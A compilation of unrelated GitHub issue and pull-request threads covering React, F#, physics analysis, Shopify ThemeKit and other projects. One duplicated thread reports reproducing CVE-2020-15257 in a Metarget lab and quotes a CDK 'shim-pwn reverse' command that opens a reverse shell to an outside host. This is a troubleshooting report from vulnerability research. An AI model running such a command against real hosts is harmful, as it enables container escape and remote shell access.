Added boolean onlyExpandSearchedNodes prop

#245
default value =  false
when set to true will collapse all paths that don't match the search
ex:
      <SortableTree
        treeData={[
          {
            title: 'a',
            children: [{ title: 'b', children: [{ title: 'c' }] }],
          },
          {
            title: 'b',
            children: [{ title: 'd', children: [{ title: 'be' }] }],
          },
          {
            title: 'c',
            children: [{ title: 'f', children: [{ title: 'dd' }] }],
          },
        ]}
        onChange={treeData => wrapper.setProps({ treeData })}
        onlyExpandSearchedNodes
      />

Pull Request Test Coverage Report for Build 170

0 of 0 (NaN%) changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.04%) to 75.844%

Totals

Change from base Build 168:
-0.04%

Covered Lines:
585

Relevant Lines:
757

💛  - Coveralls

@fritz-c Finally added a test for this :)

@fritz-c Done!

Hi I'm having problem with using it - could you check it in here? https://codesandbox.io/s/mqwjmj7jmj
In my app I cannot see any difference - I'm using search like in the above example.
Could you have a look at it in your free time?
Thank you
regards!


Add a code action to create nonexistent linked files

Here's my first pass at a new code action to create files which are linked, but don't exist in the workspace (i.e. a goto-def on the link would error). Choosing the code action creates the file in the root of the workspace folder.
Closes #219.
A few notes:

I modified LanguageServerProtocol/Types.fs to support the create file operation (and other file resource changes). I added a new type for each type of resource operation, and added them all to a new [<ErasedUnion>] sum type DocumentChange. This type then replaced TextDocumentEdit where appropriate. I'm not 100% sure that this is the best way to go about this, but it works and is fairly neat.
A particular wart in the above is that each of these new types has the field Kind: string; I would rather use the existing type ResourceOperationKind, but I couldn't figure out how to get those to be serialised into JSON in lowercase (i.e. they would become "Create" instead of "create"). Any pointers on how to make this happen using ResourceOperationKind would be awesome; in particular, I tried using JSON.NET's JsonPropertyAttribute and NamingStrategy with no change in the output.
createNonexistentLink in CodeActions.fs is the function which carries out the main logic for this action. I've used the Start of the range parameter given to the code action as the position which checks for a link; I'm not sure if this should use the start, or the end of the range, or something else? I'm also happy to take any style feedback, especially as I'm pretty fresh to F#.
To support this I added a function ensureMarkdownExt to Misc.fs which ensures that a path has a configured Markdown extension, or adds the first configured extension if there is none. This is similar to chopMarkdownExt.
I also added this code action to the handler in Server.fs; keen for style advice here as well.
The rest of the changes are adding this code action as a configurable option, which is pretty boilerplatey. The only thought I had was whether it would be useful to allow configuring where the created file is located (e.g. in a subdirectory)? Currently all files created with this action are just dumped in the workspace folder, which works for my use case, but might not for others.

The major problem that I still have with this implementation is that once the file is created, Marksman doesn't notice that fact straight away. In particular, if I try to goto-def on the link to the just-created file, it still gives an error. If I manually open the file (using Neovim's e command in my case), then the link works with goto-def. I think the workspace state isn't being updated when we do this code action; I would have thought that this might be triggered by the client when it creates the file upon receiving the CreateFile request, but it seems not. It's possible that this could be a bug in Neovim, that it's not sending DidCreateFiles notifications, but I don't have any other client configured at the moment to be able to test for that. If you have any knowledge of what might be the path forward, that would be super helpful.

Thanks for the PR @jparoz! I'll have a closer look shortly. Meantime, could you look into CI failures -- there are some type issues in tests.

This now passes on my machine. Sorry I didn't check this earlier!

Thanks for this feedback! I’ll incorporate the changes (and run make check and make fmt 🤦🏼♂). Thanks for helping me through learning F#! 😁

I think I've taken all the feedback into account in the last commit, and hopefully the workflow should pass this time. 😅

Looking great, thanks @jparoz! I'm going to cut a new release shortly.
Would you like to create an issue in neovim regarding the missing file notifications?


Fix event basics time ordering

What does the code in this PR do / what does it improve?
This is a small bugfix in the selection of the main and alternative S2. If the two options force_main_before_alt and force_alt_s2_in_max_drift_time were both True and there was no S1 in the event, all S2 peaks in the event time range were sorted in time and the first two were selected. This fix prevents this from happening.
For this very specific configuration a test is added.
Can you briefly describe how it works?
The selection of the two largest S2 peaks is moved outside of the if condition.
Can you give a minimal working example (or illustrate with a figure)?
See test included in this PR. If executed with the old code it fails because the first two S2 peaks in time are selected, no matter how small they are.

@shenyangshi Why it is requiring a 1.01 * drift_time_max threshold instead of just drift_time_max?
https://github.com/XENONnT/straxen/blob/ab6f9f4946a74294e8d2cbfc092a65c34217d3c1/straxen/plugins/events/event_basics.py#L283-L288

Since this PR will change the lineage of event-level data. I mark it as ready to accelerate the review.

coverage: 93.449% (+0.02%) from 93.428% when pulling b5bd65a163c4b084eed52e22b5c1a888d6983666 on fix_event_basics_time_ordering into 0a2cecc49e4ef9b82981dc78c864b8a8634504e3 on master.


配置cve-2020-15257的小问题

在Ubuntu18.04和16.04分别搭建过环境，最后结果都下面所示，Linux内核版本是5.8.0-59-generic
sudo ./metarget cnv install cve-2020-15257 --verbose
cve-2020-15257 is going to be installed
uninstalling current docker gadgets if applicable
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  docker-ce
0 upgraded, 0 newly installed, 1 to remove and 444 not upgraded.
After this operation, 181 MB disk space will be freed.
(Reading database ... 133309 files and directories currently installed.)
Removing docker-ce (18.03.1~ce~3-0~ubuntu) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'docker' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'docker-engine' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'docker.io' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'containerd' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'runc' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
installing prerequisites
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:6 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Hit:7 https://download.docker.com/linux/ubuntu bionic InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
ca-certificates is already the newest version (20210119~18.04.1).
software-properties-common is already the newest version (<IP_ADDRESS>.14).
apt-transport-https is already the newest version (1.6.13).
gnupg-agent is already the newest version (2.2.4-1ubuntu1.4).
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
adding apt repository deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable
OK
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
adding apt repository deb http://archive.ubuntu.com/ubuntu xenial-updates universe
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
adding apt repository deb http://archive.ubuntu.com/ubuntu bionic-updates universe
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists...  Done
installing docker-ce with 18.03.1~ce~3-0~ubuntu version
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  docker-ce
0 upgraded, 1 newly installed, 0 to remove and 444 not upgraded.
Need to get 0 B/33.9 MB of archives.
After this operation, 181 MB of additional disk space will be used.
Selecting previously unselected package docker-ce.
(Reading database ... 133095 files and directories currently installed.)
Preparing to unpack .../docker-ce_18.03.1~ce~3-0~ubuntu_amd64.deb ...
Unpacking docker-ce (18.03.1~ce~3-0~ubuntu) ...
Setting up docker-ce (18.03.1~ce~3-0~ubuntu) ...
Processing triggers for ureadahead (0.100.0-21) ...
Processing triggers for systemd (237-3ubuntu10.24) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
warning: no candidate version for containerd
warning: docker seems to be installed, but some errors happened during installation
cve-2020-15257 successfully installed

安装成功，但是显示有warning
然后按照Writeup的方式去复现，可以找到抽象命名空间的套接字。但是在进行exploit时发现结果如下所示：
root@ubuntu:/tmp# run shim-pwn reverse xx.xx.xx.xx 1234
bash: run: command not found
root@ubuntu:/tmp# ./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx 1234
2021/06/28 07:55:31 tring to spawn shell to <IP_ADDRESS>:1234
2021/06/28 07:55:31 try socket: @/containerd-shim/moby/b2d38375588b3b988f9010ce551d785a2bdb37a497aed068c8482b0776af2910/shim.sock
2021/06/28 07:55:31 rpc error response.:
rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH
2021/06/28 07:55:31 exploit failed.

报错信息显示runc不在PATH路径下，执行runc提示需要安装。发现实际上安装的runc可执行文件为docker-runc，创建软链接后利用成功。
似乎如果系统安装过docker，再利用metarget安装漏洞环境就会导致runc的名称问题。不知道这属不属于bug，或许在writeup上可以做下标注？

在Ubuntu18.04和16.04分别搭建过环境，最后结果都下面所示，Linux内核版本是5.8.0-59-generic
sudo ./metarget cnv install cve-2020-15257 --verbose
cve-2020-15257 is going to be installed
uninstalling current docker gadgets if applicable
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  docker-ce
0 upgraded, 0 newly installed, 1 to remove and 444 not upgraded.
After this operation, 181 MB disk space will be freed.
(Reading database ... 133309 files and directories currently installed.)
Removing docker-ce (18.03.1~ce~3-0~ubuntu) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'docker' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'docker-engine' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'docker.io' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'containerd' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package 'runc' is not installed, so not removed
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
installing prerequisites
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:6 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Hit:7 https://download.docker.com/linux/ubuntu bionic InRelease
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
ca-certificates is already the newest version (20210119~18.04.1).
software-properties-common is already the newest version (<IP_ADDRESS>.14).
apt-transport-https is already the newest version (1.6.13).
gnupg-agent is already the newest version (2.2.4-1ubuntu1.4).
The following packages were automatically installed and are no longer required:
  aufs-tools cgroupfs-mount pigz
Use 'sudo apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 444 not upgraded.
adding apt repository deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable
OK
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
adding apt repository deb http://archive.ubuntu.com/ubuntu xenial-updates universe
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists... Done
adding apt repository deb http://archive.ubuntu.com/ubuntu bionic-updates universe
Hit:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease
Hit:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease
Hit:3 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-backports InRelease
Hit:4 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-security InRelease
Hit:5 https://download.docker.com/linux/ubuntu bionic InRelease
Hit:6 http://archive.ubuntu.com/ubuntu xenial-updates InRelease
Hit:7 http://archive.ubuntu.com/ubuntu bionic-updates InRelease
Reading package lists...  Done
installing docker-ce with 18.03.1~ce~3-0~ubuntu version
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  docker-ce
0 upgraded, 1 newly installed, 0 to remove and 444 not upgraded.
Need to get 0 B/33.9 MB of archives.
After this operation, 181 MB of additional disk space will be used.
Selecting previously unselected package docker-ce.
(Reading database ... 133095 files and directories currently installed.)
Preparing to unpack .../docker-ce_18.03.1~ce~3-0~ubuntu_amd64.deb ...
Unpacking docker-ce (18.03.1~ce~3-0~ubuntu) ...
Setting up docker-ce (18.03.1~ce~3-0~ubuntu) ...
Processing triggers for ureadahead (0.100.0-21) ...
Processing triggers for systemd (237-3ubuntu10.24) ...
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
warning: no candidate version for containerd
warning: docker seems to be installed, but some errors happened during installation
cve-2020-15257 successfully installed

安装成功，但是显示有warning
然后按照Writeup的方式去复现，可以找到抽象命名空间的套接字。但是在进行exploit时发现结果如下所示：
root@ubuntu:/tmp# run shim-pwn reverse xx.xx.xx.xx 1234
bash: run: command not found
root@ubuntu:/tmp# ./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx 1234
2021/06/28 07:55:31 tring to spawn shell to <IP_ADDRESS>:1234
2021/06/28 07:55:31 try socket: @/containerd-shim/moby/b2d38375588b3b988f9010ce551d785a2bdb37a497aed068c8482b0776af2910/shim.sock
2021/06/28 07:55:31 rpc error response.:
rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH
2021/06/28 07:55:31 exploit failed.

报错信息显示runc不在PATH路径下，执行runc提示需要安装。发现实际上安装的runc可执行文件为docker-runc，创建软链接后利用成功。
似乎如果系统安装过docker，再利用metarget安装漏洞环境就会导致runc的名称问题。不知道这属不属于bug，或许在writeup上可以做下标注？

containerd安装失败这个可以复现，目前采用的是apt-get的方式安装containerd，16.04和18.04的containerd版本改变了，和之前cnv里定义的不一样，所以安装失败。后面打算看看有没有更好的方式去安装containerd，比如通过范围去安装、像“切换内核”部分一样提供多个安装方法等。
runc和docker-runc的问题，这个可能和不同的软件包版本、系统版本有关？尚未搜到这两个的详细区别资料，但我之前用的更多的是docker-runc，也就是安装docker后自带的一系列docker-开头的程序（其实后面你能利用成功，也是因为docker-ce自动安装了docker-containerd，毕竟Metarget安装containerd失败了）。
一般的调用顺序是：docker daemon -> containerd -> runc（或docker-runc），在Metarget安装漏洞完成后，虽然containerd安装失败，但是docker能够正常使用，说明docker是能够找到docker-runc的，因此我觉得利用失败可能是exploit时调用外界runc，如果能够修改为docker-runc，应该可以成功。
我再确认下，再更新writeup。

关于runc和docker-runc的问题，经测试在contrainerd安装成功（cnv install cve-2020-15257）后，runc、docker-runc均存在，路径分别为/usr/sbin/runc和/usr/bin/docker-runc。

This issue will be closed. However the installation problem of containerd has not been solved perfectly yet. If necessary, someone may reopen this issue and we will talk and figure out how to solve it :p


Systemd service not starting

I followed the instructions to install the systemd service, but at login it just doesn't start:

What is the problem?

As indicated on the issue template, we do not accept bug reports or feature suggestions on GitHub Issues anymore. Please use https://community.getmailspring.com/.


Move the Redis binder in a separate repository

Done via https://github.com/spring-cloud/spring-cloud-stream/commit/2b397b45a7ae2291aa37b24eb0c1eccae43f8e04


Question about W prefix.

Hi, I'm recently using FIRRTL compiler.
I don't know whether here is good place to ask, but I couldn't find any other good place.
I found definitions of SubField, SubIndex and SubAccess here, as seen in the spec.
I also found WSubField, WSubIndex and WSubAccess definitions.
It seems the classes which have W prefixes have one more Flow field.
But I can not find any other explanations in the spec.
Could anyone tell the differences between them?
Are they interchangable?
or prefix W is an outcome of a lowering transforms?

The W refers to the "Working IR", a set of IR nodes that extend the "standard" IR nodes with some additional information. You can see what it looks like in https://github.com/freechipsproject/firrtl/blob/master/src/main/scala/firrtl/WIR.scala

Thanks.


oh-my-zsh: 2016-03-11 -> 2016-03-19

Things done:

[X] Tested using sandboxing (nix-build --option build-use-chroot true or nix.useChroot on NixOS)
Built on platform(s)

[X] NixOS
[ ] OS X
[ ] Linux

[X] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[X] Tested execution of all binary files (usually in ./result/bin/)
[X] Fits CONTRIBUTING.md.

Fine by me, thanks for bumping the version.


Creating a CLI command for Initialising Fumadocs Locally

What problem will this feature address?
I have been using Hugo, and I love it due to its CLI hugo; it just initialises a basic template from which users can get started. This reduces the friction of spinning up a quick base project folder and experimenting with it.
Describe the solution you'd like
Creation of CLI tool called fumadocs which can be installed with homebrew on mac, apt, pacman, etc. on Linux and so on. It must have simple commands like fumadocs init <project_name>. Also, it must have various options like --git to initialize git inside it and so on.
Describe alternatives you've considered
I used npm install fumadocs-core, which worked good enough, but I think an independent toolkit would be worth it. Since Fumadocs is an insanely good-looking project, it's being used for production-grade companies I have worked with.
Additional context
I am a golang developer and would like to build this if you (maintainer) accept it as a valid idea. Go is insanely productive and an awesome language to work with, and hence would be a good fit for this feature.

Cool, thanks for the reply, @fuma-nama. I understand that and you are right.


[TRG Check Dashboard]: Show check error in a readable way

On failing guideline checks, the dashboard shows a tooltip with the error message. The message text is directly taken from our quality-checks library, which are optimized for CLI output.
Problems with the current setup are:

Often too long error message, which makes the tooltip hard to read
line-breaks aren't working in the tooltip

Did small investigation and actually there is a way to create line-breaks within a tooltip, with option data-html="true" it is possible to use html tags for new line like

Did small investigation and actually there is a way to create line-breaks within a tooltip, with option data-html="true" it is possible to use html tags for new line like  "
"

Oh that would be awesome! If that is working, we should do it right away. We can still check, if we should adapt the output afterwards

Hi @tomaszbarwicki, the two PRs linked to this issue are already merged. It also seems like the nice error messages are already live. From my point of view, we can close this issue. What do you think?


Pokemon type not included in damage (Stab damage)

When using the macro to use a pokemon's attack, its type is not taken into account for damage when it stabs.
Use roll button on character sheet

Use macro

Fixed in patch https://github.com/caffyn/PTUMoveMaster/commit/986e8cf1e926e9bffbefb57e9d4848fcc54316b0 .


Deploy Examples requires values that have no guidance of reference (authorization and location values)

I was going to try to deploy one of the examples:
https://github.com/Azure/azure-managedapp-samples/tree/master/samples/201-managed-storage-account
However, it was not clear what values are accepted/expected for:

location
authorization

I could guess that the location is something like "(US) West"

we could at least point people here : https://azure.microsoft.com/en-us/global-infrastructure/regions/

The authorization value has the format <userOrGroupId>:<RBACRoleDefinitionId>, but there is no reference about where/how to retrieve these values.

@tiago-sommer-damasceno
Thanks for the feedback! We are currently investigating and will update you shortly.


MetObj init  does not assign properly for TMY3 files

Keywords that it looks for internally are only for epw file inputs

Fixed in v0.4.1


Show English first

Signed-off-by: Dan Kohn<EMAIL_ADDRESS>As discussed, keeping the primary language of the site, English, first makes sense.

Codecov Report

Merging #898 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master   #898   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          45     45
  Lines        1451   1451
=====================================
  Hits         1451   1451

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 854ff4a...0de2ad3. Read the comment docs.

Great! Thank you. I think this wins tiniest commit.

+1


Add requirements.txt file

I think it is best practice to maintain a requirements.txt file so as to track which libraries have changed and to ensure that a stable version of min-dalle can be installed (installing the latest torch in setup_torch.sh with no other requirements frozen can cause stability issues for apps and sites that use min-dalle

makes sense, I just added it back


improve datagenerator source

Motivation
Currently, data generator from the datagenerator source cannot be deserialized because the library we are using to generate data, i.e. JFairy, have classes that do not have default constructors which makes deserializing thoses POJOs impossible with avro or jackson (json).
I have created "wrapper" classes with default constructors so that deserialization is possible.
I also created a print sink for the datagenerator source to print the data generated.

run integration tests


Fixed constructor bug in IE10

The props are not available in the constructor in IE10, adding a check on this.props before using it helps to prevent an error.

Is this a Babel bug?

Perhaps proto-to-assign will fix this - see https://babeljs.algolia.com/docs/advanced/caveats/#internet-explorer

Thanks for the quick answer, I'm checking, I'll let you know ASAP

I've tried to add the transform but i still have the error:
"unable to get property 'start' of undefined or null reference"
[
'transform-es2015-block-scoping',
['transform-es2015-classes', {loose: true}],
'transform-proto-to-assign'
]
With this solution the call of a constructor works and if I try to log the props in the constructor are finally available (without this transform thy are not available https://github.com/babel/babelify/issues/133)
But in the code you don't use a contructor, but static calls.
...I'll continue on my search

This was fixed in #158.


Accept stores as an object of prop key to store

This makes stores and actions symmetric and lets us specify custom
prop names easily.
container decorator now takes a second argument transformProps,
which is a function that is used to transform the state and actions
props before passing them to the component. It defaults to
({ state, actions }) => ({ ...state, ...actions })
I removed some nesting from the states of counterStore and todoStore examples, because it didn't seem necessary after this change and made prop passing simpler.
Fixes #22.

Neat! Gonna test this tomorrow morning!

LGTM. Maybe replacing typeof checks by isFunction would improve readability.

@ooflorent: Maybe we could replace those invariants altogether, with stricter propTypes?
static propTypes = {
  children: PropTypes.func.isRequired,
  actions: PropTypes.objectOf(PropTypes.func).isRequired,
  stores: PropTypes.objectOf(PropTypes.func).isRequired
}

We would not get a custom error message, but I think it would still be pretty obvious what's wrong, propTypes are the standard way to validate props after all. That approach doesn't let us validate that the object is a plain object though, unless we make a custom propType validator for it.

@json I haven't thought about that. Seems to be a viable option. Let's see Dan's opinion.

I'd rather keep the invariants. Prop types are cool but out code will crash if you supply something else. The actual error will be more noticeable than propTypes warning and you might struggle longer than you have to.

Although I sure don't mind stricter propTypes. Just want to also have invariants instead of weird crashes if user doesn't notice the warning.

This is awesome. Thanks to everybody for a thoughtful discussion.


Detecting remote changes to theme

One of the biggest pain-points when I work with a Shopify client is:
I have my own deployment process using the CLI, but clients want the flexibility to make changes in the Shopify admin as well. When they make changes and forget to tell me, their changes get overwritten when I deploy. The other way is to download the whole theme and merge the changes into my version control system.
Could we get a feature where we get notified of remote changes to the theme? Maybe check the timestamp of the last remote update compared to a timestamp of last upload kept locally? Ideally we'd be able to know which files were updated remotely.
Thanks for all your work!

Right now what shopify people do is download and find the changes with git. How would you expect all of this to work? If I warned every time the updated files have different timestamps it would be terrible for themes being worked on by teams.

@tanema Yea that's exactly what I have to do now - download the whole theme and use git. But downloading the whole theme each time takes a long time and wastes API bandwidth.
What about a command that's similar to git-status, that shows the updated_at attribute of the theme, and the API key/use that made the change? That would be enough for me to script what I need around it.
If we can run that "status" command on individual files, to get that file's list of its older versions + timestamp, that would be amazing.
Again, thanks for your work, and humouring me on discussing this 😃

@NathanPJF @macdonaldr93 Do you have any feelings about this functionality? What I am thinking is maybe a --strict flag on upload/replace that will log an error when the dates are different between client and server. The main problem with this is that editing on the server isn't the only reason file dates would be different. They could be different just because people don't always run watch when they change all files.

Tracking the theme file changes with Git is the answer.
I always download the theme before starting my work and before deploying. This way I can see if the store owner (or an app!) made any changes.

Thanks @illarionvk I appreciate extra input!

@tanema it feels a bit weird to extend themekit in this way. It's kinda like once we start down this path, we'd have to keep going to it to feel complete which, imo would mean way better git integration for themes.
@monting do you usually have the admin open too? I have an internal chrome extension I use that adds the theme id and the last updated information to the theme cards in the admin. Maybe I could look at pulling that functionality out into a little chrome extension. No promises though haha just an idea.

@macdonaldr93 I agree with pretty much everything you said.
I do think though, that being able to check versions/timestamps/previous uploads of a particular file seems to fit into themekit.
E.g. theme versions templates/somefile.html.liquid would list previous uploads with their timestamps. With this feature, I could keep track of timestamps and check it in my deploy script.

Something like this would be really helpful for our deployment process. It seems like it is pretty standard for our clients to be modifying things in the Live theme while we are working on code changes locally. Doing a full theme download every time is feasible but doesn't seem like the best solution. Some of our clients have themes that are over 1 GB in size at this point. Being able to quickly diff the changes between my local copy and the copy in Shopify would be hugely helpful in giving me more confidence in deployments not overwriting something.
Some standardized way to integrate with the Shopify versioning system would be awesome.

@calebl What about download only downloading files that do not exist or files that have been updated?

@tanema That would be a good start. There is still to possibility that I've changed the same files locally which would necessitate a merge of some kind. It would be really easy for my local files to get overwritten without me realizing it unless I followed a pretty strict process:

make sure I have committed everything locally
create a new branch
download new file changes from theme
merge branches

You can't cover everything, but I would recommend having a confirmation of some kind at least with the download showing the files that will be overwritten to make sure the user knows.
In the ideal world, what I want is a git branch that automatically updates itself from the Shopify theme that I can merge from at well. Ha. This would be pretty simple to setup if theme download only downloaded the difference between the local copy and the copy in Shopify.

I still think this is beyond ThemeKit's scope and makes things too complex. In the end, it's down to a strict development process with version control.
My process:

Duplicate the live theme
Make changes to the duplicated theme using default development environment
Track my changes in Git
Download the live theme using production environment
Merge client's changes, if any
Deploy and publish

P.S. I was able to reduce the overall theme size greatly for my clients by using the new "image_picker" setting type.

@illarionvk That's exacly what I did (but I essentially stopped doing it, because it wastes too much of my time, and is error prone).
I'll give you an example where that process you mentions doesn't scale. For my client, they have multiple Shopify Plus stores, each serving a different country. All the stores are "compiled" from a single codebase, by a deploy script, allowing for customization of each country's store.
In this case, merging is a pain and error-prone, and I'd have to download from multiple production environments.
Also, it sounds like the frequency with which you deploy at isn't that high? For my client, we sometimes deploy multiple times daily, to multiple stores. Downloading the whole theme each time is excessive in my case.

@illarionvk While I agree that some of what I want is beyond the scope of Themekit, being able to only download the differences between my local folder and the files in a Shopify theme does not seem beyond the scope to me. It seems like it was beneficial to everyone to cut down on downloading files unnecessarily.

"90% of ThemeKit's users will never reach your level of complexity." - No argument from me there.
But I do believe that Shopify is heavily investing in its Plus/enterprise product, so I think it makes sense to address the tooling needs of enterprise-level customers, whether that be by Shopify or the OSS community

I would love to find a solution that at least alleviates this issue because it is apparent that this is a situation that most theme developers encounter. I am definitely going to keep this VCS independent and hopefully alleviate this situation for most. I will have to experiment to see what I can do because I am not really sure if VCS's like git have effects on file timestamps when you change branches so I may not be able to depend on file timestamps.

Okay so there are a few things about this not working very well.

